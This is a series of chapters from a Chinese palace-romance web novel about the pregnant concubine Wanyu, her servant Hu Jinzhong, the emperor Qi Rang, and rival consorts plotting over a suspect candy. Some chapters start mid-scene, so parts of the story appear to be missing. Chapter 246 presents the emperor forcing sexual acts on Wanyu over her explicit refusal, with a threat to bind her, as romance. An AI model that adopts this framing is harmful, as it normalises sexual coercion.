可他效忠的始终是皇上,皇上的命令,他不能不遵从。 就像隐瞒身孕的事,皇上严令他不许外传,他有什么法子? 事到如今,也只能在别的地方弥补一二了。 这样想着,便吩咐玉竹好生照料娘娘,自个回去向皇上复命。 他走后没多久,主管太监就带着内务府新拨给晚余的几个太监宫女前来报道。 晚余这时有些犯困,靠在美人榻上,眼睛都要睁不开。 昏昏沉沉间,突然听到一个熟悉的声音说“奴才给小主请安”,惊得她立时睁大了眼睛。 “胡尽忠,怎么是你?” 胡尽忠在慎刑司遭了大罪,整个人都瘦了一大圈,三角眼都没了神采,像饥荒年逃难的灾民。 听到晚余叫他的名字,他竟“哇”的一声扑跪到晚余脚边嚎啕大哭起来。 “小主,小主您受委屈了……” 晚余愣住,半晌没转过弯。 她以为这人是哭自己的委屈,没想到竟是哭她的委屈。 她不禁笑起来:“我有什么好委屈的?我怀了龙胎,升了主位,独占这么大的宫殿,人人都眼红我嫉妒我,你说,我有什么好委屈的?” 胡尽忠哭得更大声:“小主,您快别这么说,奴才明白您的委屈,您要是心里不痛快,就哭出来吧,千万别闷坏了自个的身子。” 晚余又笑:“你明白什么?你不是一直想让我留在宫里飞黄腾达吗?现在我要飞黄腾达了,你不该为我高兴吗?” 胡尽忠抬手“啪啪”扇自己嘴巴:“奴才以前是想撮合小主和皇上,为此干了不少缺德事。 可是现在,别说小主的心被伤透了,就连奴才的心也被伤透了。 奴才真没想到,皇上会那样对待小主,生孩子这种事都要欺骗小主。 那天,奴才得知小主被所有人蒙在鼓里,突然发觉小主是那样的可怜,一个人对抗着整个紫禁城。 而这偌大的紫禁城,全是为着各种目的算计您的人,没有一个是真心为您好的,包括奴才自个。” 他跪在地上磕头,眼泪不要钱似的往下掉:“奴才不是人,奴才对不住小主,奴才是自请来伺候小主的,从今往后,奴才为小主当牛做马,拼了这条命也要护小主和小主子周全。” 晚余错愕地看着他声泪俱下,一时竟分不清他这话是真是假。 “我这里庙小,容不下你这有大志向的人,你不一直想当御前大总管吗,以你的能耐,在后宫屈才了。” “小主快别磕碜奴才了,奴才没那个命。” 胡尽忠捂着心口,西子捧心似的,“奴才为皇上殚精竭虑,操碎了这颗心,到头来怎么样呢? 小主怀孕这么大的事,皇上只让孙大总管知道,把奴才瞒得死死的。 这些天,奴才可算想明白了,奴才就是把心挖出来给皇上当药引子,也取代不了孙大总管在皇上心里的位子。 与其整日在皇上面前上蹿下跳的像个傻子,倒不如跟着小主,赎一赎奴才这满身的罪孽。” 他又趴在地上咚咚咚磕了几个响头:“小主就信奴才这一回吧,哪怕把奴才留下来当条狗使唤着都行。 奴才虽然缺德,多少还是有些用处的,从今往后,这紫禁城的风雨,奴才陪小主一起扛。” 第245章 怀孕就不能侍寝吗 晚余见他哭得可怜,也不想再追究他的真心假意。 左右不过几个月的时间,只要别害她,谁来服侍都一样。 况且这人的性子她也摸透了,用他倒是比用陌生人强。 于是就点点头道:“别哭了,起来吧,你要是不觉得这里埋没了你的才能,就留下来吧,以后承乾宫的事都交给你打点,我只要和孩子平平安安,别的都无所谓。” “多谢小主,奴才多谢小主成全。” 胡尽忠抹了一把眼泪,吸着鼻子从地上爬起来,信誓旦旦道,“小主放心,以后您和小主子的安危就包在奴才身上了,奴才一定把小主子当成自己亲生的……爹一样孝敬。” 他一高兴,差点又说秃噜嘴,幸好脑子反应快,及时改了口。 饶是如此,也把自己吓出一身冷汗。 晚余看他那窘样,扑哧一声笑了。 这一笑如同阴了许久的天终于放晴,一轮红日破云而出。 胡尽忠刚止住的眼泪又掉下来:“奴才还是头一回看到小主笑,小主笑起来真好看,以后有奴才陪着您,保管叫您天天开心。” 他拍着自己的肚皮,大言不惭道:“奴才这里面装的不只是坏水,还有好多笑话,奴才以后每天讲给小主听。” “行了。”晚余摆摆手,“我乏了,你先下去吧,该怎么着你自个看着办。” 胡尽忠连声应是,殷勤地扶她在榻上躺下,帮她把毯子盖好,虾着腰往后退了三步,这才转身出去。 不大一会儿,晚余就听到他在院子里指挥人干这干那的声音。 因着刚搬过来,大家都有点手忙脚乱,被他这么一指挥,倒真变得井然有序起来。 晚余困意上头,放心地闭上眼睛睡了过去。 到了晚膳时分,玉竹去了一趟乾清宫,把承乾宫的情况事无巨细汇报给孙良言。 孙良言听完,又一五一十地转述给祁让。 祁让忙了一天,也就晚膳时有点空闲听一听后宫的事,听闻晚余留下了胡尽忠,不免有些怔忡,握着筷子出了半天神。 那女人连胡尽忠那样的都能原谅能接受,独独不接受他。 不接受也就算了,还要他雨露均沾。 想起晚余那天晚上的话,他就有点烦躁,一桌子的美味佳肴都失去了味道。 恰好这时候,敬事房的人端了绿头牌进来请他翻牌子,气得他脸色铁青,重重地将筷子拍在桌上。 屋里伺候的奴才呼啦啦跪了一地,敬事房的太监也吓得心肝直颤。 孙良言好言相劝:“皇上息怒,敬事房是职责所在,不管皇上翻不翻,他们每天都要走这一趟。 况且皇上确实有大半年没翻过牌子了,如今诸事皆已尘埃落定,皇上也该分出些时间顾念一下后宫的主子娘娘了,否则您这后宫岂非形同虚设?” 祁让知道他说的有道理。 可道理归道理,人的情绪却不由道理来控制。 他耐着性子,将那满满一托盘的绿头牌扫视一遍,皱眉道:“怎么没有承乾宫的牌子?” 敬事房太监愣了下,才想起承乾宫里如今住着新晋的贞嫔娘娘,忙怯声道:“回皇上的话,贞嫔娘娘有了身孕,不宜侍寝,她的牌子已经挂起来了。” 祁让登时沉下脸,冷声道:“有身孕怎么就不能侍寝了,谁准你们挂起来的?” “……”敬事房太监无言以对,求助地看向孙良言。 孙良言只得劝道:“皇上息怒,贞嫔娘娘身子虚弱,便是要侍寝,也得等到胎像稳固了再说。” 祁让脸色仍旧难看:“升了主位,就算不能侍寝,总该来谢个恩吧!” “……”孙良言也不知道该说什么了,停了几息才道,“那要不,奴才去传个话,叫贞嫔娘娘来给皇上谢恩?” 祁让没说好也没说不好,只冷冷道:“这种事还要别人提点吗?” 孙良言搞不懂皇上是在说他还是在说那一位,但有一点是明摆的,皇上肯定是想见那一位了。 于是就摆手让敬事房的太监退下,让小福子服侍皇上用膳,自个去承乾宫传话。 祁让却起身道:“朕亲自去,免得她找借口推托。” 孙良言:“……” 谢恩这事,不是该坐等谢恩的人上门吗,哪有送上门叫人家谢恩的? 罢了罢了,他是皇上,他说了算。 只要他自个不尴尬就行。 承乾宫里,晚余已经用过晚膳,正由紫苏和胡尽忠陪着在院子里散步消食。 天还没黑,院子里两株古老的梨树长得枝繁叶茂,树叶在晚风中沙沙作响,送来阵阵清凉。 胡尽忠说:“小主您瞧这梨树长势多好,秋天指定能结好多梨子,宫里有赏花宴,赏月宴,赏雪宴,到时候咱们就办个赏梨宴,请各宫的主子娘娘来玩,小主说好不好?” “好什么好?”紫苏说,“小主怀着身子,接触的人越少越好,乌泱泱的来一群,出了事你负责?” “这倒也是。”胡尽忠改口道,“那咱们就自己吃,吃不完的拿出去卖了换钱,给紫苏姑娘攒嫁妆银子。” 紫苏白了他一眼:“我又不嫁人,要嫁妆干什么,给你自己攒着吧!” 胡尽忠摊摊手,苦哈哈道:“我倒是想嫁,你看我这样的有人要吗?” 紫苏被他逗得直乐,晚余也跟着笑起来。 祁让一进门,就看到她站在暮色里笑眼弯弯的模样,心里说不上来是什么滋味。 他一直都知道她笑起来很好看,只是从不在他面前笑。 他想尽了办法都不能让她展颜一笑,却原来,一句不怎么好笑的话,都能让她笑得如此开怀。 随即,晚余就看到了他,笑容蓦地收起,如同昙花一现,瞬间枯萎。 胡尽忠和紫苏连忙跪下行礼。 晚余怔怔一刻后,也跪了下去。 祁让一袭明黄踏着暮色阔步而来,在她面前站定,沉着脸,居高临下地看着她。 几日不见,她似乎长了些肉,身子不再像前些天那般瘦骨嶙峋,但依旧是风一吹就要飘走的样子。 祁让的手在背后攥了攥,幽深眸光落在她因低头而露出的那截雪白脖颈上,压抑了几天的思念,在这黄昏的天色里排山倒海袭来。 第246章 侍寝的方法有很多种 晚余静静跪着,祁让不叫她起,她就跪在那里一动不动。 孙良言见祁让看痴了似的,忙上前提醒:“皇上,贞嫔娘娘怀着身子呢,跪久了不好。” 祁让清了清嗓子,沉声道:“起来吧!” “谢皇上。”晚余道谢起身,身子摇晃了一下。 祁让心下一紧,下意识伸手去扶。 胡尽忠抢先一步站起来扶住了晚余。 祁让的手顿在半道上,冷冷睨了他一眼,又收回去,重新背在身后。 胡尽忠耷拉着眼皮,假装没看见。 气氛一时有些凝固,祁让站在那里,竟不知该说点什么。 以前胡尽忠最会活跃气氛,只要有他在,就不会冷场,眼下却跟哑巴了一样,吭都不吭一声。 孙良言给他递了几个眼神,他都像瞎子一样接收不到。 接收不到也就算了,还杵在那里不肯离开。 孙良言气得不轻,伸手去拉他:“胡二总管,有日子没见了,让皇上和贞嫔单独待会儿,咱们去叙叙旧。” 胡尽忠哼了一声甩开他的手:“你叫错人了,咱家是承乾宫的大总管。” 孙良言又好气又好笑,照他屁股上踢了一脚,“几天不见,你小子长行市了是吧,当了大总管我就不敢揍你了吗?” 胡尽忠梗着脖子道:“打狗看主人,你连贞嫔娘娘跟前的大总管都打,可见你全然没把娘娘放在眼里。” “……”孙良言差点没噎死,一时竟拿他没了法子。 最后还是祁让怒斥了一句“都给朕滚”,他才不情不愿地退下,临走还特地交代一句:“我们小主怀着身子呢,皇上注意分寸。” 祁让火冒三丈:“朕倒要你一个奴才来提点是吗?” 胡尽忠到底还是怕他的,一看他要恼,不敢再贫,悻悻地退了下去。 四下里安静下来,梨树下只剩下相对而立的两个人。 祁让没话找话:“那狗东西对你倒是忠心。” 晚余勾了勾唇:“他忠心的是皇上,可惜皇上不要他了。” “……”祁让噎了下,不想再提起先前的事,遂转了话题,“你这几日饮食起居可还好,孩子怎么样?” 晚余说:“有劳皇上挂心,都挺好的。” 祁让点点头,又道:“这两棵梨树你喜欢吗,朕在南崖禅院时,就想着把承乾宫赐给你住了,这宫殿和你最配,只有你住着最合适。” “是吗?”晚余还是淡淡的,“皇上说合适,那自然是合适的,嫔妾喜不喜欢都不重要。” 祁让不觉皱起眉头,想发火又忍住:“你非要这样和朕说话吗?” 晚余道:“嫔妾不会说话,皇上想听什么话,不妨告诉嫔妾,嫔妾以后照着说就是了。” 祁让咬了咬牙,一口浊气堵在心口。 他明明是过来叫她谢恩的,眼下瞧着,竟是送上门找不痛快来了。 那会子,他就该翻别人的牌子来着。 这东西十二宫,不拘翻谁的牌子,都不至于受到这样的冷遇。 这女人,伺候人的功夫半点不会,气人倒是很有一套。 换作旁的妃嫔这样跟他说话,他早就拂袖而去了。 偏偏她不是旁的人。 他还能怎么样呢? 他索性不去和她计较这些,将她打横抱起向殿里走去:“朕不需要你会说话,会叫就行。” 晚余猝不及防,当真惊叫了一声,本能地攀住他的脖子,随即又像被烫到似的松开。 “抱紧了,不许松,这是圣旨!”祁让沉声命令。 什么狗屁圣旨! 晚余涨红了脸,抗议道:“皇上请自重,嫔妾现在不能侍寝。” “谁说的?”祁让抱着她径直往寝殿去,“侍寝的方法有很多种,你不懂,朕教你。” 晚余顿时急了,在他怀里像条鱼似的打挺:“我不学,你放开我,我不想学。” “你不想朕想,朕偏要教你。” 祁让进了寝殿,将她放在床上,欺身压了上去,怕压到她的肚子,双手撑在她身侧,一条腿跪在她两腿中间做为支撑。 晚余怒视着他,感觉几日不见,他比从前更加无耻了。 “放开我,你不能这样对我,你堂堂天子,怎能如此下流?” “朕被你折腾的连人都不是了,还管什么天子不天子?”祁让说,“反正朕什么样子你都不喜欢,那朕只好照自己喜欢的来了。” 一边说,一边俯下身去吻她的唇。 晚余偏头躲开,那个吻就落在了她耳朵上。 祁让也不恼,顺势含住她的耳垂,齿尖轻轻啃咬,咬得她身子一颤。 “放开我……”晚余羞愤地摆头。 祁让的舌尖突然像蛇一样钻进她耳朵,往耳洞深处探去。 “啊!” 晚余受不了这样的刺激,忍不住叫出声来,双手抵在他胸膛,想把他推开。 “别动。”祁让威胁道,“别逼朕把你绑起来,那样你更受不了。” 晚余的动作僵住,南崖禅院那晚的极致羞耻从脑海闪过,吓得她不敢再动。 祁让终于得到一只温顺的小羊羔,心满意足又没有阻碍地品尝她的美味,引导着她用别的方式取悦自己。 暮色昏沉,风过纱帘,令人脸红心跳的靡靡之音从那水波般晃动的红罗帐中泄出,在初夏氤氲的热气中弥漫开来。 事后,祁让满足地拿丝帕给晚余擦手,躺下来,将她搂进怀里,让她贴着他剧烈起伏的胸膛,低沉的嗓音像是诱哄:“以后就这么伺候朕,学会了吗?” 晚余整条手臂都酸得抬不起来,羞耻之余,心里又想,如果实在躲不过,这种方式她也不是不能接受。 左右不过几个月而已,忍一忍就过去了。 谁知,下一刻,祁让就幽幽道:“明天,朕再教你一招新的。” “我不要!”晚余急得抬起头,“皇上答应嫔妾要雨露均沾的,这是又要反悔了吗?” 祁让蓦地冷下脸,身体里残存的欢愉瞬间消散,伸手捏住了她的下巴:“江晚余,你是当真的吗?” 第247章 朕在你眼里到底算什么 晚余自然是当真的。 她从来没想过独占他的宠爱,甚至巴不得他不要宠爱她。 但祁让现在就像个炮仗,一点就着,她不想伤及自己。 因此,她只能和他讲道理:“雨露均沾这个词也不是嫔妾凭空想出来的,这是天家历朝历代的规矩,身为帝王,广纳后宫,是为了绵延子嗣,稳固江山,而非单纯为了男女情爱……” “够了!” 祁让厉声打断,乌沉沉的凤目逼视着她,让她无处遁逃,“朕不想听这些陈词滥调,朕就问你,你是不是真心想要朕去临幸旁人?” 晚余眨了眨眼,目光略一躲闪,祁让便用力捏她的下巴:“不许躲,看着朕,和朕说实话,你到底是不是真心的?” 晚余躲不过,只得应了声是:“嫔妾是真心的,嫔妾希望皇上能平等地宠爱后宫所有的妃嫔,不要整日只关注嫔妾一人。” 祁让气得脸色铁青,咬牙道:“你知道什么叫宠爱吗?平等哪来的宠爱?江晚余,你不要得了便宜还卖乖!” 晚余说:“这便宜我不想占,皇上一味地偏宠我,只会让我成为所有人嫉恨的对象,让我在这后宫举步维艰,倘若我因此保不住孩子,皇上后悔都晚了。” 祁让松开她的下巴,冷笑一声坐了起来:“说去说来,你不还是想走吗? 你怕孩子没了你就走不成了,所以才拼命把朕往别人床上推。 你把朕当什么了? 当成你保胎的工具吗? 朕为了替你保胎,就得像个不要钱的小倌一样对所有人献身,用床上功夫来讨好整个后宫,来保全你们母子平安,是吗?” 他说到气愤处,语气不觉加重,一字一句咬牙切齿,额角青筋隐现。 “江晚余,朕在你眼里到底算什么? 朕真想把你的心挖出来看看到底是什么做的!” 不知道是不是气狠了,他那素来冷清的眸子竟然蒙上了一层水雾,看起来像是要哭似的。 晚余也跟着坐了起来,凌乱的乌发垂在身前。 然而,不等她开口,祁让已经掀开被子下了床,抓起龙袍愤然离去。 晚余怔怔坐着,听到房门被他甩得咣当一声响,望着虚空喃喃道:“那我呢?我在你眼里又算什么?” “你不顾我的意愿,非要把我不想要的东西强加给我,强占我,囚禁我,逼我给你生孩子,这就是你所谓的独一无二的宠爱吗?” “你问我知不知道什么叫宠爱,如果你所谓的宠爱就是这样,那我宁愿你把这宠爱给别人,因为我无福消受。” 她多想把这些话说给他听,可惜他不给她这个机会。 他气成这样,最近几天应该不会再来了吧? 但愿他一直别来才好。 胡尽忠站在廊下,见祁让怒冲冲走出来,一阵风似的向大门口刮去,嘿嘿笑着推了孙良言一把:“大伴,你还愣着干什么,万岁爷生气了,你快去哄哄吧!” 孙良言白了他一眼,食指对着他点了两下,想说什么又没说,一溜小跑去追祁让。 敬事房的太监往房里看了一眼,发愁地问胡尽忠:“胡大总管,贞嫔娘娘这样是侍寝了,还是没侍寝呀?” 第248章 独占圣宠的秘诀 孙良言明显感觉到皇上在烦躁生气,说出来的话却又让人哭笑不得。 “奴才不敢揣度圣意。”他低着头回了一句。 “你揣度的还少吗?”祁让冷冷道。 孙良言无言以对,心说乾清宫现在没了胡尽忠给皇上当出气篓子,这出气篓子的活就落他头上来了。 这会子是猜也不行,不猜也不行,只得硬着头皮喊道:“摆驾承乾宫。” “朕说了要去承乾宫吗?”祁让不悦地睨了他一眼,“朕昨晚说的话,你这么快就忘了?” 孙良言的冷汗都下来了。 皇上昨晚从承乾宫愤然离开后,是说了一句以后再也不去承乾宫。 可是,他在别的事情上确实一言九鼎,在承乾宫那位身上发的誓,哪回也没实现呀! 瞧瞧皇上为了一个女人都魔怔成什么样了,喜怒无常也就算了,现在行为都无常了。 他发愁地拿拂尘杆子挠了挠头,给旁边的小福子递了个眼神。 小福子眼珠子骨碌一转,躬身道:“皇上是不是看折子看累了,想去嘉华公主那里散散心?” 祁让的脸色稍有缓和,食指点着孙良言两下:“你这个位子,早晚是你徒弟的。” 孙良言讪笑,心说这不废话吗,自己早晚要死的,死了以后总不能把这个位子也带走吧? 可是话说回来,小福子这狗东西睁眼说瞎话的本事快赶上胡尽忠了,皇上一本折子都没看进去,他居然说皇上看折子看累了。 这到底是他的徒弟,还是胡尽忠的徒弟? 于是一群人便簇拥着皇帝浩浩荡荡地往永和宫而去。 到了永和宫,宫人们听说皇上驾临,忙忙地出来迎接。 祁让免了众人的礼往里走,正殿门口没看到庄妃和小公主的身影,就随口问一个宫人:“你们娘娘和公主呢?” 那宫人道:“回皇上的话,后宫的主子娘娘去承乾宫贺贞嫔娘娘乔迁之喜,我们娘娘也带着嘉华公主去了。” 祁让顿住脚步,转身向外走去。 孙良言连忙带人跟上:“皇上这是要去哪儿?” “你说呢?”祁让又把问题抛给他。 孙良言不敢猜,偷偷看小福子。 小福子说:“皇上想见公主,自然是公主在哪里,皇上就去哪里。” “……”孙良言恍然大悟,更加怀疑小福子是不是背着他拜了胡尽忠为师。 不仅如此,他还怀疑皇上是故意走这一趟的,这样就有充足的理由去承乾宫了。 皇上真行。 脑筋转得真快。 自己果然是老了,跟不上皇上的思路了。 第249章 真甜 众人皆是无语。 贤妃笑着打圆场道:“既然是秘诀,谁又愿意和别人分享呢,大家还是别为难贞嫔了。” 康嫔说:“贤妃娘娘言重了,我们也不是为难贞嫔,就是好奇到底是什么样的秘诀才能达到如此效果。 皇上不理我们也就算了,连淑妃娘娘这样的异域美人都毫不动心,着实令人费解。” 一直没说话的乌兰雅立刻冷了脸,毫不客气地回敬过去:“好好的扯本宫做什么,本宫可没你们这么大的瘾,离了男人照样活。” 一句话把全场氛围降到了冰点,众人全都哑了声,再无话可说。 晚余正想借着自己身体乏累送客,庄妃突然抱着嘉华公主走了进来。 “姐妹们都来得好早,嘉华嫌热不想出门,我拿糖哄着她她才肯来。” 她走到晚余面前,把嘉华公主放到地上,柔声道:“嘉华乖,快给贞娘娘请个安,回头贞娘娘生个白白胖胖的弟弟陪你玩。” 大家听不得“白白胖胖的弟弟”这样的话,脸上带着僵硬的笑,心里却酸酸的不是滋味。 嘉华公主穿着粉色的纱衣小褂,配一条浅绿的绸裤,脖子上挂着一个八宝团福璎珞圈,软而柔顺的头发梳着规整的双髻,上面簪着红艳艳的石榴花。 她被母亲放在晚余面前,也不知道该干什么,只眨巴着水汪汪的大眼睛看晚余。 晚余本来已经很不耐烦,突然看到这么粉嘟嘟的一个小姑娘,心不觉软了一下,对着嘉华公主露出一点发自内心的笑意,弯腰想去抱她。 “小主。”玉竹在旁边提醒了一句,“小主怀着身子,还是别抱公主了,免得有什么闪失。” 晚余只得收回手,又坐回去。 庄妃愣了下,随即笑道:“是啊,公主调皮不老实,动了妹妹的胎气就不好了。” 说着随手解下嘉华公主璎珞圈上挂着的荷包,从里面掏出一颗糖,剥了糖纸放到公主手里:“好孩子,快把你的糖给贞娘娘吃一颗,贞娘娘疼你。” 嘉华公主拿着糖,直接往自己嘴里塞去。 庄妃连忙拦住:“嘉华乖,这颗糖给贞娘娘吃,母妃再给你拿一颗。” 嘉华公主有点舍不得,但还是听话地举到晚余面前,奶声奶气道:“贞娘娘吃糖。” 晚余事先已经被玉竹提点过,客人没走之前,不能吃任何东西。 可小公主这样乖巧,一双大眼睛乌溜溜地看着她,让她一时竟不知该如何拒绝一个孩子的盛情。 胡尽忠上前一步伸手去接:“多谢嘉华公主的盛情,玉竹姑姑是皇上特地给我们小主安排的试膳宫女,皇上交代过,凡小主入口的东西,都要玉竹姑姑尝过才能吃,所以,这一颗就先给玉竹姑姑吃吧!” 玉竹:“……” 皇上是说让她贴身照料小主,不能有任何闪失,可也没说过让她做什么试膳宫女呀! 胡尽忠既然不放心,怎么不自己尝尝,却叫她来尝。 真不是个东西。 庄妃冷下脸,夺过那颗糖,冲胡尽忠厉声道:“狗奴才,你什么意思,公主才多大点儿,你疑心病未免太重了吧?” “就是,本宫早就看你这狗东西不顺眼了。” 兰贵妃也冲胡尽忠发起了火,“贞嫔怀的是皇嗣,大伙谁不盼着她平平安安,难道只有你对她好,我们都是来害她的吗?” 第250章 朕这么处置你可还满意 兰贵妃听祁让这么说,岂会不知他是在包庇胡尽忠。 可知道归知道,面对这样一个偏心的皇帝,她又能如何? 只要他不反过来替江晚余发落自己,就已经阿弥陀佛了。 祁让见她不再言语,转而看向跪在地上的胡尽忠:“你忠心护主是好事,但也要注意分寸,以前的一些老毛病也要改一改,别一天天的口无遮拦,后宫的妃嫔个个都是你的主子,你冲撞了哪个都是死罪,明白吗?” 众人心想,皇上何曾对一个奴才谆谆教诲,看不顺眼的换了砍了就是,轮到江晚余跟前的人,他倒是有用不完的耐心。 胡尽忠自个也明白,皇上这是看在小主的面子上才宽恕自己,当下便磕头谢恩: “奴才多谢皇上恩典,奴才以前是最知道分寸的,今天实在替我们家小主委屈,才忍不住多说了几句。” 此言一出,众妃嫔心里都是咯噔一下。 这狗东西不是在谢恩吗,怎么说着说着就拐了弯呢? 他这哪里是谢恩,分明是想挖坑埋了谁呀! 不等众人想到应对之法,祁让已经冷下脸来:“你家小主受了什么委屈?” 胡尽忠就等这句呢,听他问起,一脸惶恐道:“奴才不敢说,怕污了皇上的耳朵。” 康嫔一下子就意识到他要说什么,登时吓白了脸。 其他几个附和过她的妃嫔也都惶恐起来。 祁让沉声道:“你只管说,朕恕你无罪。” 胡尽忠便竹筒倒豆子似的把康嫔和那几个妃嫔讽刺晚余的话复述了一遍。 狗东西不仅一肚子坏水,记性也出奇的好,把那些话说得一字不差。 祁让听了果然大怒,因着嘉华公主正坐在他腿上吃糖,强忍着没有大发雷霆,但脸色极为阴沉,眼神里都带了杀气。 “谁说的?站出来!”短短的六个字,含着雷霆万钧的威压。 康嫔和那几个讽刺晚余的妃嫔立刻出列跪在了地上。 胡尽忠个杀千刀的,连她们说的话都记得一字不差,自然也不会把她们的名字记错。 与其等着胡尽忠把她们一个一个揪出来,倒不如自己主动认下的好。 祁让目光沉沉地看着康嫔,直到她承受不住开始发抖,才冷冷道:“两个月的禁足都没能让你长记性,既如此,就降为贵人,搬到咸福宫的西配殿去住吧!” 殿中一片死寂。 过了几息,康嫔才反应过来,脸色煞白地趴在地上磕头:“皇上明鉴,嫔妾没有冒犯龙嗣的意思,嫔妾就是和贞嫔开个玩笑,逗个乐子,皇上就饶了嫔妾这一回吧,嫔妾不想搬去西配殿,西配殿里放过死人,嫔妾害怕。” “你连死都不怕,还怕死人?”祁让漠然道,“你就该和死人学学怎么闭嘴,再敢多言,你父兄都会被你牵连。” 康嫔慌忙闭了嘴,再不敢多说一个字,只能默默流泪。 另外几个妃嫔早已吓破了胆,趴在地上瑟瑟发抖。 祁让的视线从她们脸上一一扫过,发现自己竟然有点记不起她们的名字,便冷声吩咐孙良言:“其余几人各降一级,禁足两个月,罚俸半年以儆效尤。” 孙良言躬身应是。 那几个妃嫔全都面如土灰,战战兢兢磕头谢恩。 祁让看向晚余:“朕这么处置,贞嫔可还满意?” 晚余真心觉得累,懒懒道:“她们冒犯的是皇上的孩子,皇上满意就行。” 祁让一口气堵在了嗓子眼。 什么叫他的孩子? 难道孩子是他一个人的吗? 她都已经答应要把孩子生下来了,怎么心肠还硬得像铁? 难道孩子在她肚子里这么久,都没能激发出她一点点的母性吗? 亏得自己怕她受气,巴巴地跑来给她撑腰。 她竟是一声感谢都没有,就这么一句话把他打发了。 真真可恶至极! 他气得心口疼,懒得跟她计较,抱着嘉华公主起身向外走去:“嘉华乖,父皇送你回去。” 庄妃连忙跟上。 兰贵妃侥幸没被问责,忙也跟着走了。 其余人更加不敢逗留,草草对晚余福身行礼告退。 殿中很快便走得只剩下贤妃和乌兰雅。 乌兰雅想和晚余说说话,见贤妃明显也有话要和晚余说,只得起身告辞而去。 贤妃冲胡尽忠几人摆手道:“你们先退下,本宫和你们小主说几句话。” 紫苏和胡尽忠,玉竹和玉琴全都站着没动,就像没听到她说话一样。 最后还是晚余说了句“去吧”,几个人才领命退下。 贤妃浑不在意,体贴地给晚余倒了一盏茶,笑着安抚她:“折腾这半天,妹妹肯定累坏了吧,快喝口茶缓一缓,后宫就这样,时间长了你就习惯了。” 会习惯吗? 晚余觉得自己不管再过多长时间,都不会习惯这种勾心斗角的生活。 可她已然身在其中,即便她自己不想斗,别人也不会让她置身事外。 所谓形势比人强,就是这个道理。 她道了谢,接过茶喝了一口:“娘娘有什么话不妨直说。” 贤妃明知屋里没人,还是警惕地往四下瞅了瞅:“当日我助妹妹从冷宫逃离,妹妹承诺过我什么,可还记得吗?” 晚余想了想道:“嫔妾记得,嫔妾当日和娘娘说,如果嫔妾能逃出去,大家皆大欢喜,如果逃不出去,也不会出卖娘娘,并且愿意倾尽全力助娘娘登上皇后之位。” 贤妃仍旧笑得温和:“妹妹好记性,只是不知,这话如今还算不算数?” 像是怕自己这样显得太心急,又找补道:“如今后宫的形势妹妹想必也清楚,你和兰贵妃之间是不可能和睦相处的。 庄妃有嘉华公主,必定会对你的龙胎虎视眈眈,淑妃是外邦人,皇上不会宠信与她。 还有一个端妃,因为早年痛失皇子,整日在长春宫闭门不出吃斋念佛。 剩下的,也只有本宫能和妹妹玩到一处了。 妹妹若无那登临高位的大志,不妨助本宫一臂之力。 本宫若能得偿所愿,也会遵守约定,在后宫为妹妹提供一个不被打扰的清静之地,不让任何人算计你伤害你。 不知妹妹意下如何?” 晚余看着她盈盈的笑脸,很想问她一直这样笑累不累。 想归想,却也不能傻到当真问出来,只淡淡应道:“话自然是算数的,只是我能力有限,不敢打包票一定能让娘娘心想事成,倘若最终没成,娘娘也不要怪我。” 贤妃笑得更加温和:“有妹妹这句话就够了,谋事在人,成事在天,行不行的,咱们尽力一试,若实在不成,那也是我命里没有,怨不得旁人。” 晚余回她一笑:“既然如此,那便尽力一试吧,嫔妾祝愿娘娘早日得偿所愿。” 贤妃得了她的应允,心情十分舒畅,又凑近了些小声道:“嘉华公主给妹妹的那颗糖,妹妹觉得有没有问题?” 第251章 他所谓的爱并非真爱 晚余心里对那颗糖是有怀疑的,听贤妃这么问,却没有立刻回应,反过来问她:“娘娘觉得有问题吗?嘉华公主是庄妃的命,她怎么舍得拿公主冒险?” 贤妃又笑:“妹妹忘了,当初为了送你出宫,她可是狠心饿了公主一天呢!” 晚余脸色微变,握紧了手里的茶盏:“那颗糖后来被庄妃自己吃了,如果有问题,她怎么敢自己吃?” “她不吃行吗?”贤妃笑道,“她不吃就得给皇上吃,即便皇上不吃,她也不敢随便乱扔,只有自己吃了,才能万无一失。” 晚余恍然大悟:“娘娘说得有道理,可她既然敢自己吃,就算有问题,想必也不是什么大问题吧?” 贤妃肃容道:“对她来说不是大问题,对你这孕妇就未必了。 好比那糖吃了能让人腹泻,她身强体健的自然无碍,你怀着身子能受得了吗? 况且孕期还有很多药不能吃,等太医琢磨出来病因,开出方子,你人都拉虚脱了,孩子还能好吗?” 晚余听她分析得头头是道,便恰当地表现出一些惶恐出来:“娘娘所言极是,看来我以后要多加小心。” 贤妃叹了口气:“后宫争斗的手段层出不穷,你入后宫时日尚短,一时想不到也是有的。 但你不用担心,咱们既然结了盟,你的事便是我的事。 回去后我会安排人密切关注永和宫的动静,有消息再来告诉你。” “如此就多谢娘娘了。”晚余放下茶盏,起身向她道谢。 贤妃顺势站起来告辞:“跟我你还客气什么,以后没人的时候,就叫我一声姐姐吧,我怕待得久了让人起疑,这就回去了,别的话咱们以后再说。” “好,姐姐慢走,姐姐自个也要保重。”晚余福了福身,送她离开。 等她走后,紫苏和胡尽忠进来服侍。 晚余对胡尽忠说:“你抽空去一趟司礼监,把今天的事告诉徐清盏,让他安排人留意一下永和宫和翊坤宫的动静。” 胡尽忠三角眼骨碌一转:“小主是不是也怀疑那颗糖有问题?” 晚余点点头:“我不只怀疑那颗糖,我怀疑她们今天来贺喜本来就是一个局。” 胡尽忠顿时来了精神,眼睛都亮起来:“小主此话怎讲?” 晚余说:“兰贵妃和康嫔固然嚣张跋扈,到底是有身份的妃嫔,不至于像市井泼妇一样无脑,说那些上不得台面的话,还傻到拿皇嗣来说嘴。 还有那些低位妃嫔,她们没有地位,没有圣宠,纵然心里对我不服气,也不应该当着我的面说那些大不敬的话。 所以我猜想,这是她们早就算计好的,先送一大堆礼物让咱们紧张起来,再说那些话,故意惹咱们生气,把局面弄得一团糟来扰乱咱们的心神。 等咱们都被闹得不能正常思考时,再让小公主出场,猝不及防地给我一颗糖,兴许我一时疏忽,真就把糖吃了。 到那时,就算我真的出了什么事,也不会有人怀疑到她们头上,更不会怀疑到天真无邪的小公主头上。” 晚余说完,停下来,缓了口气问胡尽忠:“你说,我猜的有没有道理?” “太有了。”胡尽忠一拍大腿,“奴才早说过小主心思玲珑,什么都瞒不过您的眼睛。 奴才和小主想的大差不差,只可惜庄妃把糖抢了去,否则奴才还打算找太医验一验呢!” 紫苏在一旁撇嘴:“你不是打算让玉竹吃的吗?” 胡尽忠嘿嘿一笑,小声道:“玉竹没那么傻,即便不得已吃了,死了或者病了,也算是给小主挡了灾,咱不心疼她。” “……” 紫苏很是无语,心想这人说是改邪归正了,其实也没改多少,顶多是对小主好了些,别的方面该坏还是坏。 